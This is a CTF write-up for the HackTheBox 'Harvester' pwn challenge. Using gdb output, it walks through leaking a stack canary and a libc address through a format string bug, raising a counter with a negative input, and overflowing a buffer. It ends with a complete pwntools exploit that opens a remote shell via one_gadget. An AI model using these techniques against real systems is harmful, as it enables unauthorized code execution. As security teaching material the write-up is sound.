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# CTF HackTheBox 2021 Cyber Apocalypse 2021 - Harvester

# Full writeups for this challenge avaliable on [https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/](https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/)

Category: Pwn, Points: 325

![info.JPG](https://github.com/evyatar9/Writeups/raw/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Pwn-Harvester/images/info.JPG)

Attached file [pwn_harvester.zip](https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Pwn-Harvester/pwn_harvester.zip)

# Harvester Solution

Let's check the binary using ```checksec```:
```
┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/harvester]
└──╼ $ checksec harvester
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```

[Full RELRO](https://ctf101.org/binary-exploitation/relocation-read-only/) (removes the ability to perform a "GOT overwrite" attack), [Canary](https://ctf101.org/binary-exploitation/stack-canaries/), [NX enabled](https://ctf101.org/binary-exploitation/no-execute/) and [PIE](https://en.wikipedia.org/wiki/Position-independent_code).

By running the binary we get the following:
```console
┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/harvester]
└──╼ $ ./harvester
A wild Harvester appeared ?

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
>

```

By observe the code using [Ghidra](https://ghidra-sre.org/) we can see few intresing functions.

The first function is ```stare```:
```c
void stare(void)

{
long in_FS_OFFSET;
undefined local_38 [40];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("\x1b[1;36m");
printstr("\nYou try to find its weakness, but it seems invincible..");
printstr("\nLooking around, you see something inside a bush.");
printf("\x1b[1;32m");
printstr(&DAT_0010129a);
pie = pie + 1;
if (pie == 0x16) {
printf("\x1b[1;32m");
printstr("\nYou also notice that if the Harvester eats too many pies, it falls asleep.");
printstr("\nDo you want to feed it?\n> ");
read(0,local_38,0x40);
printf("\x1b[1;31m");
printstr("\nThis did not work as planned..\n");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```

We can see that we can get buffer overflow on ```read(0,local_38,0x40);```, It's read 0x40 (64) bytes where the buffer size is 0x28 (40) - It's mean we have 24 bytes to overflow.

We can get this overflow only if ```pie === 0x16```, The function make ```pie = pie + 1;``` before.

The sechind function is ```inventory```:
```c
void inventory(void)

{
long in_FS_OFFSET;
int local_18;
char local_13 [3];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_18 = 0;
show_pies(pie);
printstr("\nDo you want to drop some? (y/n)\n> ");
read(0,local_13,2);
if (local_13[0] == 'y') {
printstr("\nHow many do you want to drop?\n> ");
__isoc99_scanf(&DAT_00101202,&local_18);
pie = pie - local_18;
if ((int)pie < 1) {
printstr(&DAT_00101205);
/* WARNING: Subroutine does not return */
exit(1);
}
show_pies(pie);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```

Here, we can see the following ```pie = pie - local_18;``` - It's mean If we insert negative value we can increment ```pie``` value.

The last function is ```fight```:
```c
void fight(void)

{
long in_FS_OFFSET;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
printf("\x1b[1;36m");
printstr("\nChoose weapon:\n");
printstr(&DAT_00101138);
read(0,&local_38,5);
printstr("\nYour choice is: ");
printf((char *)&local_38);
printf("\x1b[1;31m");
printstr("\nYou are not strong enough to fight yet.\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```

By the following line ```printf((char *)&local_38);``` we can get [Format String Vulnerability](https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability/).

So far we found:
1. Buffer overflow on ```stare``` function if pie equals to 0x16 (Actually to 0x15 because ```pie = pie + 1;``` on ```stare```).
2. ```inventory``` function that reads our input without checking for negative values.
3. ```fight``` with format string vulnerability.

So with those vulnerabilities our plan is:
1. Leak stack values stored on the stack by inputting format specifiers such as %p with ```fight``` - It's could help us to leak the Canary address, address from libc to calculate the offset.
2. Set ```pie=0x16``` with ```inventory``` function to get buffer overflow.
3. Send our payload using ```stare``` function.

Let's run the binary using ```gdb``` to leak values stored on the stack.

We need to create breakepoint right after the ```printf``` function:
```asm
gef➤ disassemble fight
Dump of assembler code for function fight:
0x0000000000000b30 <+0>: push rbp
0x0000000000000b31 <+1>: mov rbp,rsp
0x0000000000000b34 <+4>: sub rsp,0x30
0x0000000000000b38 <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000000b41 <+17>: mov QWORD PTR [rbp-0x8],rax
0x0000000000000b45 <+21>: xor eax,eax
0x0000000000000b47 <+23>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000000b4f <+31>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000000b57 <+39>: mov QWORD PTR [rbp-0x20],0x0
0x0000000000000b5f <+47>: mov QWORD PTR [rbp-0x18],0x0
0x0000000000000b67 <+55>: lea rdi,[rip+0x5ac] # 0x111a
0x0000000000000b6e <+62>: mov eax,0x0
0x0000000000000b73 <+67>: call 0x840 <printf@plt>
0x0000000000000b78 <+72>: lea rdi,[rip+0x5a3] # 0x1122
0x0000000000000b7f <+79>: call 0x9da <printstr>
0x0000000000000b84 <+84>: lea rdi,[rip+0x5ad] # 0x1138
0x0000000000000b8b <+91>: call 0x9da <printstr>
0x0000000000000b90 <+96>: lea rax,[rbp-0x30]
0x0000000000000b94 <+100>: mov edx,0x5
0x0000000000000b99 <+105>: mov rsi,rax
0x0000000000000b9c <+108>: mov edi,0x0
0x0000000000000ba1 <+113>: call 0x860 <read@plt>
0x0000000000000ba6 <+118>: lea rdi,[rip+0x5b5] # 0x1162
0x0000000000000bad <+125>: call 0x9da <printstr>
0x0000000000000bb2 <+130>: lea rax,[rbp-0x30]
0x0000000000000bb6 <+134>: mov rdi,rax
0x0000000000000bb9 <+137>: mov eax,0x0
0x0000000000000bbe <+142>: call 0x840 <printf@plt>
0x0000000000000bc3 <+147>: lea rdi,[rip+0x4be] # 0x1088
0x0000000000000bca <+154>: mov eax,0x0
0x0000000000000bcf <+159>: call 0x840 <printf@plt>
0x0000000000000bd4 <+164>: lea rdi,[rip+0x59d] # 0x1178
0x0000000000000bdb <+171>: call 0x9da <printstr>
0x0000000000000be0 <+176>: nop
0x0000000000000be1 <+177>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000000be5 <+181>: xor rax,QWORD PTR fs:0x28
0x0000000000000bee <+190>: je 0xbf5 <fight+197>
0x0000000000000bf0 <+192>: call 0x830 <__stack_chk_fail@plt>
0x0000000000000bf5 <+197>: leave
0x0000000000000bf6 <+198>: ret
End of assembler dump.
gef➤ b *fight+147
Breakpoint 1 at 0xbc3
```

By running the binary and enumerate on stack I found that ```%11$p``` is the stack canary and ```%21$p``` is libc_start function address:
```asm
gef➤ r
Starting program: /ctf_htb/cyber_apocalypse/pwn/harvesterharvester

A wild Harvester appeared ?

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
> 1

Choose weapon:

[1] ? [2] ?
[3] ? [4] ?
> %11$p

Your choice is: 0x8b1e5366c4c23000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x12
$rbx : 0x0
$rcx : 0x0
$rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000
$rsp : 0x00007fffffffdec0 → 0x0000007024313125 ("%11$p"?)
$rbp : 0x00007fffffffdef0 → 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffb820 → "0x8b1e5366c4c230001;31m"
$rdi : 0x1
$rip : 0x0000555555554bc3 → <fight+147> lea rdi, [rip+0x4be] # 0x555555555088
$r8 : 0x12
$r9 : 0x00007fffffffb698 → 0x00007ffff7a6dbff → <_IO_file_xsputn+511> mov r12, rax
$r10 : 0x0
$r11 : 0x246
$r12 : 0x00005555555548d0 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe010 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec0│+0x0000: 0x0000007024313125 ("%11$p"?) ← $rsp
0x00007fffffffdec8│+0x0008: 0x0000000000000000
0x00007fffffffded0│+0x0010: 0x0000000000000000
0x00007fffffffded8│+0x0018: 0x0000000000000000
0x00007fffffffdee0│+0x0020: 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15
0x00007fffffffdee8│+0x0028: 0x8b1e5366c4c23000
0x00007fffffffdef0│+0x0030: 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdef8│+0x0038: 0x0000555555554eca → <harvest+119> jmp 0x555555554f17 <harvest+196>
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555554bc3 → fight()
[#1] 0x555555554eca → harvest()
[#2] 0x555555554fd8 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0000555555554bc3 in fight ()
gef➤
gef➤ canary
[+] Found AT_RANDOM at 0x7fffffffe329, reading 8 bytes
[+] The canary of process 21347 is 0x8b1e5366c4c23000
gef➤
```

So we can see ```Your choice is: 0x8b1e5366c4c23000``` which is the stack canary.

Next, Let's leak address from libc:
```asm
gef➤ r
Starting program: /ctf_htb/cyber_apocalypse/pwn/harvester/harvester

A wild Harvester appeared ?

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
> 1

Choose weapon:

[1] ? [2] ?
[3] ? [4] ?
> %21$p
Your choice is: 0x7ffff7a03bf7
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xe
$rbx : 0x0
$rcx : 0x0
$rdx : 0x00007ffff7dcf8c0 → 0x0000000000000000
$rsp : 0x00007fffffffdec0 → 0x0000007024313225 ("%21$p"?)
$rbp : 0x00007fffffffdef0 → 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffb820 → "0x7ffff7a03bf7"
$rdi : 0x1
$rip : 0x0000555555554bc3 → <fight+147> lea rdi, [rip+0x4be] # 0x555555555088
$r8 : 0xe
$r9 : 0x00007fffffffb69c → 0x0000000e00007fff
$r10 : 0x0
$r11 : 0x246
$r12 : 0x00005555555548d0 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe010 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec0│+0x0000: 0x0000007024313225 ("%21$p"?) ← $rsp
0x00007fffffffdec8│+0x0008: 0x0000000000000000
0x00007fffffffded0│+0x0010: 0x0000000000000000
0x00007fffffffded8│+0x0018: 0x0000000000000000
0x00007fffffffdee0│+0x0020: 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15
0x00007fffffffdee8│+0x0028: 0xd5904bdb22b0ab00
0x00007fffffffdef0│+0x0030: 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdef8│+0x0038: 0x0000555555554eca → <harvest+119> jmp 0x555555554f17 <harvest+196>
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555554bc3 → fight()
[#1] 0x555555554eca → harvest()
[#2] 0x555555554fd8 → main()
gef➤
```

And by running ```telescope``` command we can see:
```asm
gef➤ telescope 16
0x00007fffffffdec0│+0x0000: 0x0000007024313225 ("%21$p"?) ← $rsp
0x00007fffffffdec8│+0x0008: 0x0000000000000000
0x00007fffffffded0│+0x0010: 0x0000000000000000
0x00007fffffffded8│+0x0018: 0x0000000000000000
0x00007fffffffdee0│+0x0020: 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15
0x00007fffffffdee8│+0x0028: 0xd5904bdb22b0ab00
0x00007fffffffdef0│+0x0030: 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdef8│+0x0038: 0x0000555555554eca → <harvest+119> jmp 0x555555554f17 <harvest+196>
0x00007fffffffdf00│+0x0040: 0x0000000100000020
0x00007fffffffdf08│+0x0048: 0xd5904bdb22b0ab00
0x00007fffffffdf10│+0x0050: 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15
0x00007fffffffdf18│+0x0058: 0x0000555555554fd8 → <main+72> mov eax, 0x0
0x00007fffffffdf20│+0x0060: 0x00007fffffffe010 → 0x0000000000000001
0x00007fffffffdf28│+0x0068: 0xd5904bdb22b0ab00
0x00007fffffffdf30│+0x0070: 0x0000555555555000 → <__libc_csu_init+0> push r15
0x00007fffffffdf38│+0x0078: 0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax
```

From ```%21$p``` we get ```Your choice is: 0x7ffff7a03bf7``` which is ```0x00007ffff7a03bf7 → <__libc_start_main+231> mov edi, eax```.

Great, so fat we have leak of Canary and ```<__libc_start_main+231>```.

Now, Let's set a breakpoint on ```stare``` to get the offset between ```rip``` and buffer overflow address.

Breakpoint located right after ```read```
```asm
gef➤ disassemble stare
Dump of assembler code for function stare:
0x0000555555554d2b <+0>: push rbp
0x0000555555554d2c <+1>: mov rbp,rsp
0x0000555555554d2f <+4>: sub rsp,0x30
0x0000555555554d33 <+8>: mov rax,QWORD PTR fs:0x28
0x0000555555554d3c <+17>: mov QWORD PTR [rbp-0x8],rax
0x0000555555554d40 <+21>: xor eax,eax
0x0000555555554d42 <+23>: lea rdi,[rip+0x3d1] # 0x55555555511a
0x0000555555554d49 <+30>: mov eax,0x0
0x0000555555554d4e <+35>: call 0x555555554840 <printf@plt>
0x0000555555554d53 <+40>: lea rdi,[rip+0x4ce] # 0x555555555228
0x0000555555554d5a <+47>: call 0x5555555549da <printstr>
0x0000555555554d5f <+52>: lea rdi,[rip+0x502] # 0x555555555268
0x0000555555554d66 <+59>: call 0x5555555549da <printstr>
0x0000555555554d6b <+64>: lea rdi,[rip+0x34f] # 0x5555555550c1
0x0000555555554d72 <+71>: mov eax,0x0
0x0000555555554d77 <+76>: call 0x555555554840 <printf@plt>
0x0000555555554d7c <+81>: lea rdi,[rip+0x517] # 0x55555555529a
0x0000555555554d83 <+88>: call 0x5555555549da <printstr>
0x0000555555554d88 <+93>: mov eax,DWORD PTR [rip+0x201282] # 0x555555756010 <pie>
0x0000555555554d8e <+99>: add eax,0x1
0x0000555555554d91 <+102>: mov DWORD PTR [rip+0x201279],eax # 0x555555756010 <pie>
0x0000555555554d97 <+108>: mov eax,DWORD PTR [rip+0x201273] # 0x555555756010 <pie>
0x0000555555554d9d <+114>: cmp eax,0x16
0x0000555555554da0 <+117>: jne 0x555555554dfe <stare+211>
0x0000555555554da2 <+119>: lea rdi,[rip+0x318] # 0x5555555550c1
0x0000555555554da9 <+126>: mov eax,0x0
0x0000555555554dae <+131>: call 0x555555554840 <printf@plt>
0x0000555555554db3 <+136>: lea rdi,[rip+0x4fe] # 0x5555555552b8
0x0000555555554dba <+143>: call 0x5555555549da <printstr>
0x0000555555554dbf <+148>: lea rdi,[rip+0x53e] # 0x555555555304
0x0000555555554dc6 <+155>: call 0x5555555549da <printstr>
0x0000555555554dcb <+160>: lea rax,[rbp-0x30]
0x0000555555554dcf <+164>: mov edx,0x40
0x0000555555554dd4 <+169>: mov rsi,rax
0x0000555555554dd7 <+172>: mov edi,0x0
0x0000555555554ddc <+177>: call 0x555555554860 <read@plt>
0x0000555555554de1 <+182>: lea rdi,[rip+0x2a0] # 0x555555555088
0x0000555555554de8 <+189>: mov eax,0x0
0x0000555555554ded <+194>: call 0x555555554840 <printf@plt>
0x0000555555554df2 <+199>: lea rdi,[rip+0x527] # 0x555555555320
0x0000555555554df9 <+206>: call 0x5555555549da <printstr>
0x0000555555554dfe <+211>: nop
0x0000555555554dff <+212>: mov rax,QWORD PTR [rbp-0x8]
0x0000555555554e03 <+216>: xor rax,QWORD PTR fs:0x28
0x0000555555554e0c <+225>: je 0x555555554e13 <stare+232>
0x0000555555554e0e <+227>: call 0x555555554830 <__stack_chk_fail@plt>
0x0000555555554e13 <+232>: leave
0x0000555555554e14 <+233>: ret
End of assembler dump.
gef➤ b *stare+182
Breakpoint 2 at 0x555555554de1
```

Run it (first set pie to 0x16 from ```Inventory``` function):
```asm
gef➤ r
Starting program: /ctf_htb/cyber_apocalypse/pwn/harvester/harvester

A wild Harvester appeared ?

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
> 2

You have: 10 ?

Do you want to drop some? (y/n)
> y

How many do you want to drop?
> -11

You have: 21 ?

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
>
```

Now ```pie``` equals to 21 (0x15), Let's run ```stare``` function to insert the buffer then we can calculate the offset between the buffer to ```rip```:
```asm
Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
> 3

You try to find its weakness, but it seems invincible..
Looking around, you see something inside a bush.
[+] You found 1 ?!

You also notice that if the Harvester eats too many pies, it falls asleep.
Do you want to feed it?
> AAAAAAAA

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x9
$rbx : 0x0
$rcx : 0x00007ffff7af2151 → 0x5777fffff0003d48 ("H="?)
$rdx : 0x40
$rsp : 0x00007fffffffdec0 → 0x4141414141414141 ("AAAAAAAA"?)
$rbp : 0x00007fffffffdef0 → 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15
$rsi : 0x00007fffffffdec0 → 0x4141414141414141 ("AAAAAAAA"?)
$rdi : 0x0
$rip : 0x0000555555554de1 → <stare+182> lea rdi, [rip+0x2a0] # 0x555555555088
$r8 : 0x20
$r9 : 0x00007ffff7fdf500 → 0x00007ffff7fdf500 → [loop detected]
$r10 : 0x00007ffff7b80c40 → 0x0002000200020002
$r11 : 0x246
$r12 : 0x00005555555548d0 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe010 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec0│+0x0000: 0x4141414141414141 ← $rsp, $rsi
0x00007fffffffdec8│+0x0008: 0x48698d93d184e40a
0x00007fffffffded0│+0x0010: 0x00007fffffffdef0 → 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15
0x00007fffffffded8│+0x0018: 0x0000555555554b19 → <menu+64> nop
0x00007fffffffdee0│+0x0020: 0x000a79fffffffff5
0x00007fffffffdee8│+0x0028: 0x48698d93d184e400
0x00007fffffffdef0│+0x0030: 0x00007fffffffdf10 → 0x00007fffffffdf30 → 0x0000555555555000 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdef8│+0x0038: 0x0000555555554ee2 → <harvest+143> jmp 0x555555554f17 <harvest+196>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555554dd4 <stare+169> mov rsi, rax
0x555555554dd7 <stare+172> mov edi, 0x0
0x555555554ddc <stare+177> call 0x555555554860 <read@plt>
→ 0x555555554de1 <stare+182> lea rdi, [rip+0x2a0] # 0x555555555088
0x555555554de8 <stare+189> mov eax, 0x0
0x555555554ded <stare+194> call 0x555555554840 <printf@plt>
0x555555554df2 <stare+199> lea rdi, [rip+0x527] # 0x555555555320
0x555555554df9 <stare+206> call 0x5555555549da <printstr>
0x555555554dfe <stare+211> nop
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555554de1 → stare()
[#1] 0x555555554ee2 → harvest()
[#2] 0x555555554fd8 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 2, 0x0000555555554de1 in stare ()
gef➤ search-pattern AAAAAAAA
[+] Searching 'AAAAAAAA' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffdec0 - 0x7fffffffdec8 → "AAAAAAAA[...]"
gef➤ i f
Stack level 0, frame at 0x7fffffffdf00:
rip = 0x555555554de1 in stare; saved rip = 0x555555554ee2
called by frame at 0x7fffffffdf20
Arglist at 0x7fffffffdef0, args:
Locals at 0x7fffffffdef0, Previous frame's sp is 0x7fffffffdf00
Saved registers:
rbp at 0x7fffffffdef0, rip at 0x7fffffffdef8
gef➤
```

So our buffer located on ```0x7fffffffdec0``` and rip on ```0x7fffffffdef8``` so The offset is```0x7fffffffdef8-0x7fffffffdec0=0x38``` - 0x38 (56) bytes, It's mean with ```read(0,local_38,0x40);``` funtion that reads 0x40 (64) bytes the stack will be:
```
| buffer (40 bytes) | Canary - 8 bytes | 8 bytes | rip(8 bytes) |
```

So we can only use the last 8 bytes (of rip) to get shell, We can get it using [one_gadge](https://github.com/david942j/one_gadget) on libc to get one gadget that give us shell:
```console
┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/harvester]
└──╼ $ one_gadget libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
```

So we have:
1. Leak of Canary, libc start function.
2. One gadget - 0x4f3d5.

Let's write python code to get shell.

First, leak Canary and libc start function:
```python
binary = context.binary = ELF('./harvester')

if args.REMOTE:
libc = ELF('./libc.so.6')
p = remote('188.166.172.13',30231)
else:
# When we running locally use this libc, in remote we will use the attached libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(binary.path)

def leak(stack_pos):
print(p.recvuntil('>').decode('utf-8'))
print("1")
p.sendline("1")
print(p.recvuntil('>').decode('utf-8'))
print("%" + str(stack_pos) + "$p")
p.sendline("%"+str(stack_pos)+"$p")
print(p.recvuntil('is: ').decode('utf-8'))
leak = int(p.recvuntil('\x1b[1;').strip(b'\x1b[1;').decode(),16)
print(leak)
return leak

canary = leak(11) # Leak canary value located on 11th on stack
log.info("Canary value: " + hex(canary))

libc_start_offset = 231
libc_start_main = leak(21) # Leak <__libc_start_main+231> address - we need to sub 231 later
libc.address = libc_start_main - libc_start_offset
log.info("libc.address: " + hex(libc.address))
```

Calculate the ```one_gadget```:
```python
one_gadget = libc.address + 0x4f3d5 #0x4f3d5 # taked from one_gadget libc.so.6
```

Set ```pie``` to 0x15:
```python
print(p.recvuntil('>').decode('utf-8'))
print("2")
p.sendline("2")
print(p.recvuntil('>').decode('utf-8'))
print("y")
p.sendline("y")
print(p.recvuntil('>').decode('utf-8'))
print("-11")
p.sendline("-11")
```

Build and send the payload:
```python
payload = b"A"*(0x38-0x10) + p64(canary) + 'A'*8 + p64(one_gadget)
print(p.recvuntil('>').decode('utf-8'))
print("3")
p.sendline("3")
print(p.recvuntil('>').decode('utf-8'))
p.sendline(payload)

p.interactive()
```

Let's just put everything together [exploit.py](exploit.py):
```console
from pwn import *

binary = context.binary = ELF('./harvester')

if args.REMOTE:
libc = ELF('./libc.so.6')
p = remote('188.166.172.13',30121)
else:
# When we running locally use this libc, in remote we will use the attached libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(binary.path)

def leak(stack_pos):
print(p.recvuntil('>').decode('utf-8'))
print("1")
p.sendline("1")
print(p.recvuntil('>').decode('utf-8'))
print("%" + str(stack_pos) + "$p")
p.sendline("%"+str(stack_pos)+"$p")
print(p.recvuntil('is: ').decode('utf-8'))
leak = int(p.recvuntil('\x1b[1;').strip(b'\x1b[1;').decode(),16)
print(leak)
return leak

canary = leak(11) # Leak canary value located on 11th on stack
log.info("Canary value: " + hex(canary))

libc_start_offset = 231
libc_start_main = leak(21) # Leak <__libc_start_main+231> address - we need to sub 231 later
libc.address = libc_start_main - libc_start_offset - libc.sym.__libc_start_main
log.info("libc.address: " + hex(libc.address))

one_gadget = libc.address + 0x4f3d5 #0x4f3d5 # taked from one_gadget libc.so.6

payload = b"A"*(0x38-0x10) + p64(canary) + 'A'*8 + p64(one_gadget)

#Set pie to 21
print(p.recvuntil('>').decode('utf-8'))
print("2")
p.sendline("2")
print(p.recvuntil('>').decode('utf-8'))
print("y")
p.sendline("y")
print(p.recvuntil('>').decode('utf-8'))
print("-11")
p.sendline("-11")

print(p.recvuntil('>').decode('utf-8'))
print("3")
p.sendline("3")
print(p.recvuntil('>').decode('utf-8'))
p.sendline(payload)

p.interactive()
```

Run it with REMOTE=1:
```console
┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/harvester]
└──╼ $ python exploit.py
[*] '/ctf_htb/cyber_apocalypse/pwn/harvester/harvester'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf_htb/cyber_apocalypse/pwn/harvester/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[-] Opening connection to 188.166.172.13 on port 30121

A wild Harvester appeared ?

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
>
1

Choose weapon:

[1] ? [2] ?
[3] ? [4] ?
>
%11$p

Your choice is:
17937084176963808512
[*] Canary value: 0xf8ed530632352d00
31m
You are not strong enough to fight yet.

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
>
1

Choose weapon:

[1] ? [2] ?
[3] ? [4] ?
>
%21$p

Your choice is:
140274410384375
[*] libc.address: 0x7f942e64d000
31m
You are not strong enough to fight yet.

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
>
2

You have: 10 ?

Do you want to drop some? (y/n)
>
y

How many do you want to drop?
>
-11

You have: 21 ?

Options:

[1] Fight ? [2] Inventory ?
[3] Stare ? [4] Run ?
>
3

You try to find its weakness, but it seems invincible..
Looking around, you see something inside a bush.
[+] You found 1 ?!

You also notice that if the Harvester eats too many pies, it falls asleep.
Do you want to feed it?
>
[*] Switching to interactive mode

This did not work as planned..
$ cat flag.txt
CHTB{h4rv35t3r_15_ju5t_4_b1g_c4n4ry}
```

And we get the flag ```CHTB{h4rv35t3r_15_ju5t_4_b1g_c4n4ry}```.

Original writeup (https://github.com/evyatar9/Writeups/tree/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Pwn-Harvester).